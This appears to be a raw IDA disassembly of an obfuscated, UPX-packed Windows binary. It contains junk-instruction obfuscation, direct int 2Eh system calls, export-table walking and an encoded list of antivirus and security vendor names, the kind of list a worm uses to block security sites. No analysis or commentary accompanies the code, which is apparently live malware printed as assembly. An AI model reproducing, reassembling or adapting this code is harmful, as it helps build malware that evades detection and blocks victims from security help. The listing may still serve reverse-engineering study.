dd 2FE90000h, 0B8FFFFFFh, 100h, 0FFFF25E9h, 0A9FFh, 1B740001h dd 0E280168Ah, 0B80A7538h, 140h, 0FFFF0DE9h, 100B8FFh dd 3E90000h, 0A9FFFFFFh, 20000h, 0B80A74h, 0E9000001h dd 0FFFFFEF2h, 100A9h, 0AC6E7400h, 24D08A41h, 7E280C0h dd 3C06E8C0h, 805E7403h, 3560FDBDh, 1E750012h, 0A75C00Ah dd 7506FA80h, 2C18305h, 13C47EBh, 0EB410375h, 75023C40h dd 2C1833Ch, 0FA8037EBh, 3C167504h, 41127403h, 0D75C00Ah dd 724068Ah, 375053Ch, 0B004C183h, 75C00A00h, 5FA800Ah dd 0C1830575h, 3C0EEB04h, 41037501h, 23C07EBh, 0C1830375h dd 0C35E4104h ; =============== S U B R O U T I N E ======================================= sub_48E61C proc near ; CODE XREF: UPX2:loc_48C4D0p call $+5 pop ebp push 1 sub ebp, 12355702h pop eax lock xadd [ebp+12351642h], eax test eax, eax retn sub_48E61C endp ; =============== S U B R O U T I N E ======================================= sub_48E636 proc near ; CODE XREF: UPX2:0048C4D6p or eax, 0FFFFFFFFh lock xadd [ebp+12351642h], eax retn sub_48E636 endp ; --------------------------------------------------------------------------- dw 103Dh dd 75002A00h, 7C81661Ch, 716C0C24h, 0E8601375h, 0FFFFFFC4h dd 0C2E80575h, 0E8FFFFE8h, 0FFFFFFD2h, 2DFF2E61h, 12345678h dd 25B8h, 8B916000h, 8B302444h, 81660850h, 7302063Ah, 0FF96E844h dd 3F75FFFFh, 2435FF64h, 8F000000h, 3560AE85h, 4EB58D12h dd 5612355Eh, 0FF000068h, 6AC48B00h, 0FF505200h, 3523A895h dd 8C48312h, 3F5C3E81h, 3755C3Fh, 0E804C683h, 0FFFFE861h dd 0FFFF71E8h, 64C361FFh, 24A1h, 0AE853900h, 75123560h dd 4E8D3BEBh, 75123557h, 244C810Ah, 10048h, 81D9EB00h dd 3C244Ch, 0EB000001h, 74B8CFh, 76E90000h, 0B8FFFFFFh dd 2Fh, 1DE8h, 20C200h, 30B8h, 10E800h, 24C20000h, 185B800h dd 3E80000h, 0C2000000h, 548D002Ch, 2ECD0C24h, 7C00F883h dd 0E86019h, 8B000000h, 5D302454h, 0ED811A8Bh, 12355814h dd 0FFCCE9E8h, 4C261FFh, 9AB800h, 7C830000h, 75220C24h dd 247C832Ch, 2575FF08h, 0E8h, 0BA835A00h, 0FFFFBE00h dd 8D167E00h, 0CD082454h, 0F8832Eh, 548B077Ch, 0A831024h dd 14C25A30h, 6504C300h, 746573h, 67766103h, 6E697700h dd 73776F64h, 61647075h, 77006574h, 65646C69h, 65737372h dd 69727563h, 74007974h, 61657268h, 70786574h, 747265h dd 74736163h, 6F63656Ch, 73007370h, 686D6170h, 737561h dd 65737063h, 65727563h, 63726100h, 74696261h, 736D6500h dd 666F7369h, 75730074h, 6C65626Eh, 65730074h, 65727563h dd 706D6F63h, 6E697475h, 69720067h, 676E6973h, 65727000h dd 70007876h, 6F6F7463h, 6E00736Ch, 616D726Fh, 376B006Eh dd 706D6F63h, 6E697475h, 6B690067h, 73757261h, 75616800h dd 68006972h, 736B6361h, 74666Fh, 74616467h, 6F660061h dd 6E697472h, 65007465h, 6F646977h, 616C6300h, 76616Dh dd 6F6D6F63h, 71006F64h, 6B636975h, 6C616568h, 69766100h dd 61006172h, 74736176h, 61736500h, 61006566h, 616C6E68h dd 65630062h, 6172746Eh, 6D6F636Ch, 646E616Dh, 77726400h dd 67006265h, 6F736972h, 6E007466h, 3233646Fh, 702D6600h dd 746F72h, 74746F6Ah, 616B0069h, 72657073h, 796B73h, 65732D66h dd 65727563h, 6D6F6300h, 65747570h, 73736172h, 6169636Fh dd 736574h, 7774656Eh, 616B726Fh, 636F7373h, 65746169h dd 74650073h, 74737572h, 6E617000h, 73006164h, 6F68706Fh dd 72740073h, 6D646E65h, 6F726369h, 61636D00h, 656566h dd 74726F6Eh, 73006E6Fh, 6E616D79h, 636574h, 65666564h dd 7265646Eh, 6F6F7200h, 74696B74h, 6C616D00h, 65726177h dd 79707300h, 65726177h, 72697600h, 7375h, 5863BD8Dh, 0FB831235h dd 572E7204h, 228095FFh, 0C33B1235h, 3047691h, 5614EBF9h dd 240C0157h, 3A200CACh, 47047507h, 5FF57549h, 470A745Eh dd 75003F80h, 0EB4B46D6h, 7C81C3C7h, 20231C24h, 73750001h dd 24247C83h, 8B6C7538h, 3D202444h, 100000h, 0C0856172h dd 78835D78h, 57750104h, 16307883h, 88B5175h, 0F981h, 47720010h dd 4378C985h, 3D34508Bh, 100000h, 0C0853972h, 81663578h dd 3500087Ah, 0E8602D75h, 0 dd 8B5D198Bh, 0ED810471h, 12355AB9h, 0FFFF5FE8h, 137561FFh dd 18244C8Bh, 8307E358h, 61830021h, 0C0330004h, 0B80028C2h dd 42h, 5CFF8BC3h, 61004200h, 65007300h, 61004E00h, 65006D00h dd 4F006400h, 6A006200h, 63006500h, 73007400h, 6A005C00h dd 7A007200h, 56007400h, 7400h, 13h dup(0) dd 30000000h, 0A0000000h, 7B7C80ADh, 6CDD4FE6h, 8C0048EDh dd 240012FFh, 29F67708h, 0DFA76Ch, 3F000000h db 0E9h, 80h, 7Ch ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_48EB00 loc_48EAAB: ; CODE XREF: sub_48EB00+257j clc nop mov edi, 0D23438B9h nop call sub_48ED6C cmc call sub_48A035 push ecx push edx jmp loc_48EC24 ; --------------------------------------------------------------------------- loc_48EAC5: ; CODE XREF: sub_48EB00-49F6j dec dh inc dh not edx not edx wait sub [esp+4+var_4], eax test byte ptr [edi], 0FFh pop eax jmp loc_48EB95 ; END OF FUNCTION CHUNK FOR sub_48EB00 ; =============== S U B R O U T I N E ======================================= public start start proc near or bh, 0 call sub_48EAE9 lea eax, [eax] cld not esp not esp start endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_48EAE9 proc near ; CODE XREF: start+3p var_28 = byte ptr -28h var_14 = byte ptr -14h ; FUNCTION CHUNK AT 0048EE88 SIZE 00000024 BYTES pusha lea ebx, [esp+0Dh] dec ecx and ebp, 0 jmp loc_48EE88 sub_48EAE9 endp ; --------------------------------------------------------------------------- sub al, 0E6h mov edx, 7A9E86E5h xchg ah, ah ; =============== S U B R O U T I N E ======================================= sub_48EB00 proc near ; CODE XREF: sub_48ED6C+26p var_70 = dword ptr -70h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_AC = dword ptr 0B0h arg_B0 = dword ptr 0B4h ; FUNCTION CHUNK AT 0048A000 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0048A08F SIZE 00000082 BYTES ; FUNCTION CHUNK AT 0048A112 SIZE 00000189 BYTES ; FUNCTION CHUNK AT 0048A2AB SIZE 000001FF BYTES ; FUNCTION CHUNK AT 0048A4C3 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0048A4E6 SIZE 00000069 BYTES ; FUNCTION CHUNK AT 0048EAAB SIZE 0000002F BYTES ; FUNCTION CHUNK AT 0048ECC1 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0048ED2D SIZE 00000037 BYTES ; FUNCTION CHUNK AT 0048EDFD SIZE 00000039 BYTES ; FUNCTION CHUNK AT 0048EE39 SIZE 0000004F BYTES sub esp, 14h and dl, bl cmp dh, 0C9h not dh xchg ch, dh mov edx, esi call sub_48ECE8 nop not esp not esp add edi, ebp sub edi, ebp lea ecx, [ebp+1D8h] jmp short loc_48EB48 ; --------------------------------------------------------------------------- db 53h, 0C2h, 62h ; --------------------------------------------------------------------------- loc_48EB27: ; CODE XREF: sub_48ED6C-4D02j pop ecx cmc clc adc edi, edx xor edi, 0FFFFFF80h xchg ch, dh xchg ch, dh not ch not ch loc_48EB37: ; CODE XREF: sub_48EB00:loc_48A08Fj inc ecx nop lodsd not ebp not ebp mov edi, ebx lea edi, [eax+edi] jmp loc_48EBD0 ; --------------------------------------------------------------------------- loc_48EB48: ; CODE XREF: sub_48EB00+22j push eax push edx push eax add cl, 0 and bl, bl mov edx, esp wait add byte ptr [edx], 0Ch jmp loc_48EC04 ; --------------------------------------------------------------------------- loc_48EB5B: ; CODE XREF: sub_48ED6C+7Bj cld adc dh, ch mov edx, edx wait not dh cmc mov edi, ecx sbb dh, 97h xchg eax, ecx rdtsc retn ; --------------------------------------------------------------------------- cld mov edi, 511D435Ch sahf loc_48EB74: ; CODE XREF: sub_48EB00:loc_48EC3Dj xor eax, eax sbb ch, 1Eh xor edx, edx jmp short loc_48EBA9 ; --------------------------------------------------------------------------- fcomp st(2) icebp loc_48EB80: ; CODE XREF: sub_48EB00-4A0Aj mov cl, 79h pop ebx nop push 1 mov esi, 0E845722Dh push 4873706Bh jmp loc_48ED2D ; --------------------------------------------------------------------------- loc_48EB95: ; CODE XREF: sub_48EB00-2Bj jnz loc_48EBE6 xor eax, 0DD4FE67Bh sub eax, [esp+4] jmp loc_48A08F ; --------------------------------------------------------------------------- loc_48EBA9: ; CODE XREF: sub_48EB00+7Bj lea esi, [esi-63h] mov esi, 1134FC10h int 2Eh ; DOS 2+ internal - EXECUTE COMMAND ; DS:SI -> counted CR-terminated command string lea ecx, [ecx] test al, 1 mov cl, ah not dh jz loc_48EC48 nop sbb edi, 3Ah inc al dec ecx sbb edi, ebx push ebx jmp loc_48A0D8 ; --------------------------------------------------------------------------- loc_48EBD0: ; CODE XREF: sub_48EB00+43j xchg edx, ebp xchg edx, ebp cld cld nop cmp ecx, [edx+18h] lea esi, [esi] mov bl, bl jz locret_48ED63 xor eax, eax loc_48EBE6: ; CODE XREF: sub_48EB00:loc_48EB95j push eax cmp ecx, 87E56E0Bh not ebx not ebx not edx not edx nop cld cmc not dl not dl shl eax, 4 jmp loc_48A0FB ; --------------------------------------------------------------------------- loc_48EC04: ; CODE XREF: sub_48EB00+56j test esi, 8BDD0CC6h push ecx push eax cld nop push edx nop nop cld nop call dword ptr [ebp-3Bh] nop and cl, dl add esp, 20h jmp loc_48ECB2 ; --------------------------------------------------------------------------- loc_48EC24: ; CODE XREF: sub_48EB00-40j test cl, 97h push eax call sub_48A035 nop not edi xchg bh, ah xchg bh, ah sub ecx, [esp+8] jmp loc_48EE27 ; --------------------------------------------------------------------------- loc_48EC3D: ; CODE XREF: sub_48EB00-4A2Dj jz loc_48EB74 mov ebx, 0AFF4C30Ch loc_48EC48: ; CODE XREF: sub_48EB00+BBj ; sub_48ED6C+2Fj ; DATA XREF: ... popa retn ; --------------------------------------------------------------------------- loc_48EC4A: ; CODE XREF: sub_48ECE8+10j pop dword ptr [edx] mov [edx+8], eax xchg ecx, ecx mov [edx+4], eax dec cl inc ch mov [edx+0Ch], eax jmp loc_48A000 ; --------------------------------------------------------------------------- loc_48EC60: ; CODE XREF: sub_48EB00+366j mov dx, [ebp+1DDh] not cl sbb esi, ebx call sub_48A016 jmp loc_48A10F ; --------------------------------------------------------------------------- loc_48EC75: ; CODE XREF: sub_48ED6C+48j shr cx, 2 lea esi, [eax-6AD9C0Eh] shr cx, 4 not al jnz loc_48A0AC push 34h pop eax jmp loc_48EDFD ; --------------------------------------------------------------------------- loc_48EC93: ; CODE XREF: sub_48A016+5j nop loc_48EC94: ; CODE XREF: sub_48EB00+1A7j xor [eax], dh sub [eax], dl not ebp not ebp mov ecx, ecx nop cld lea esi, [esi] lea eax, [eax+1] dec ecx nop jnz loc_48EC94 jmp loc_48ED5C ; --------------------------------------------------------------------------- loc_48ECB2: ; CODE XREF: sub_48EB00+11Fj inc edx retn sub_48EB00 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0BF85E281h, 304C7D34h, 1B005261h db 0A2h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_48EB00 loc_48ECC1: ; CODE XREF: sub_48EB00+383j wait mov edi, esp push edx mov ch, ah mov esi, esi lea esi, [edi-6Ah] xchg cl, ch nop mov al, 0DBh cld sbb cl, cl not cl jmp loc_48EE39 ; END OF FUNCTION CHUNK FOR sub_48EB00 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_48ED6C loc_48ECDB: ; CODE XREF: sub_48ED6C-5Ej ; sub_48ED6C+5Fj push 0FFFFFFFEh pop eax add eax, [ebx] jmp loc_48A06F ; END OF FUNCTION CHUNK FOR sub_48ED6C ; --------------------------------------------------------------------------- adc cl, 24h ; =============== S U B R O U T I N E ======================================= sub_48ECE8 proc near ; CODE XREF: sub_48B36F+35p ; sub_48EB00+Ep var_4 = byte ptr -4 var_2 = byte ptr -2 arg_0 = byte ptr 4 push 0 sub eax, eax lea edx, [esp+4+arg_0] sub [esp+4+var_2], 0FCh inc [esp+4+var_4] jmp loc_48EC4A sub_48ECE8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_48ED6C loc_48ECFD: ; CODE XREF: sub_48ED6C-4CF3j ; sub_48ED6C-4CE2j lea ebx, [ebx-100h] dec edi xor edi, 0FFFFFFBEh adc dl, dh xor ah, 0D1h xchg esi, edi jmp loc_48ECDB ; --------------------------------------------------------------------------- loc_48ED13: ; CODE XREF: sub_48ED6C-4CE8j push 0F86A89E9h call sub_48ED6C nop add eax, 0FFFFFFB6h inc eax xchg esi, [ebp-3Bh] jmp short loc_48ED8B ; END OF FUNCTION CHUNK FOR sub_48ED6C ; --------------------------------------------------------------------------- dw 1E14h db 3Bh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_48EB00 loc_48ED2D: ; CODE XREF: sub_48EB00+90j not eax cmc add al, 0AAh mov ah, al xchg al, al add ah, bl call sub_48ED6C not al xchg esi, ecx mov ah, 35h sbb edi, 1F0ED9EDh add eax, edi clc mov edx, ebx push 0FFFFFFFEh call ecx push 187BE2DFh jmp loc_48EAAB ; --------------------------------------------------------------------------- loc_48ED5C: ; CODE XREF: sub_48EB00+1ADj lea edx, [eax+35CB9623h] cwde locret_48ED63: ; CODE XREF: sub_48EB00+DEj retn ; END OF FUNCTION CHUNK FOR sub_48EB00 ; --------------------------------------------------------------------------- cld lea ecx, [ecx-1Eh] mov edx, ecx mov edx, ebp ; =============== S U B R O U T I N E ======================================= sub_48ED6C proc near ; CODE XREF: sub_48EB00-4A4Ap ; sub_48EB00-49E7p ... ; FUNCTION CHUNK AT 0048A020 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0048A05B SIZE 00000034 BYTES ; FUNCTION CHUNK AT 0048ECDB SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0048ECFD SIZE 0000002D BYTES mov eax, ebx xor cl, dh mov edi, 61EFA5D9h nop add dl, ah mov dh, ah inc dh not ch and cl, 48h dec cl add eax, [ebx+3Ch] jmp short loc_48EDEC ; --------------------------------------------------------------------------- db 1, 0A7h, 0C6h ; --------------------------------------------------------------------------- loc_48ED8B: ; CODE XREF: sub_48ED6C-44j mov ecx, 0D3F88DDDh xchg eax, edi nop call sub_48EB00 or eax, eax mov esi, ebp jz loc_48EC48 inc dh lea edi, [esi-1Ch] nop mov dh, 67h push ds not dh xor al, 0B8h inc esi add ah, dl lea esi, [edi] pop ecx jmp loc_48EC75 ; --------------------------------------------------------------------------- loc_48EDB9: ; CODE XREF: sub_48EB00-4A59j add esi, ebx add edi, ebx movzx eax, word ptr [esi+ecx*2] jmp loc_48A020 ; --------------------------------------------------------------------------- loc_48EDC6: ; CODE XREF: sub_48EAE9+3BEj xor [ebx+13h], ebp pop ebx pop ebp jmp loc_48ECDB ; --------------------------------------------------------------------------- loc_48EDD0: ; CODE XREF: sub_48A035+21j xor edx, 71h xor dh, 9Fh loc_48EDD6: ; CODE XREF: sub_48ED6C+75j call esi mov dl, dh cmp eax, edi mov dl, ch not cl wait jz loc_48EDD6 jmp loc_48EB5B ; --------------------------------------------------------------------------- loc_48EDEC: ; CODE XREF: sub_48ED6C+1Aj and dh, 0D8h mov edx, [eax+78h] lea edx, [edx+ebx] push dword ptr [edx+20h] jmp loc_48A05B sub_48ED6C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_48EB00 loc_48EDFD: ; CODE XREF: sub_48EB00+18Ej sahf mov ecx, 0DE86488h mov ecx, 845D015Fh lea esi, [edi-6A9AF4E3h] push dword ptr fs:[eax] mov dl, bl pop eax inc edx lea edx, [ebx-7D8C0E25h] not cl lea esi, [ebp-35h] wait jmp loc_48A0D1 ; --------------------------------------------------------------------------- loc_48EE27: ; CODE XREF: sub_48EB00+138j sub eax, [esp-0B0h+arg_AC] not esi sbb edx, [esp-0B0h+arg_B0] lea esp, [esp+0Ch] jmp short loc_48EE6B ; END OF FUNCTION CHUNK FOR sub_48EB00 ; --------------------------------------------------------------------------- dw 903Fh db 23h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_48EB00 loc_48EE39: ; CODE XREF: sub_48EB00+1D6j dec esi sbb dl, ah mov esi, esi mul cl add edx, 0E379D9Bh xchg edi, esi sbb edx, 47ECF28Bh xchg dh, dh and ch, cl not dl add [ebp+189h], al inc edx aas adc edi, eax cld cdq lea eax, [ebp-49D3h] jmp loc_48EC60 ; --------------------------------------------------------------------------- loc_48EE6B: ; CODE XREF: sub_48EB00+334j test al, al mov edi, 4D35FFA6h cld div ecx lea edx, [ebp+166h] test ecx, edi stc sub eax, 186C3h jmp loc_48ECC1 ; END OF FUNCTION CHUNK FOR sub_48EB00 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_48EAE9 loc_48EE88: ; CODE XREF: sub_48EAE9+9j or edi, 5978CC51h sub ebp, 0FFB7EF09h push dword ptr [esp+20h] push dword ptr [ebx+17h] xor eax, esp stc and dword ptr [ebx+13h], 0 cld mov [esp+28h+var_28], 0 jmp loc_48EDC6 ; END OF FUNCTION CHUNK FOR sub_48EAE9 ; --------------------------------------------------------------------------- align 200h UPX2 ends ; Section 4. (virtual address 0008F000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 0008F000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 48F000h align 2000h _idata2 ends end start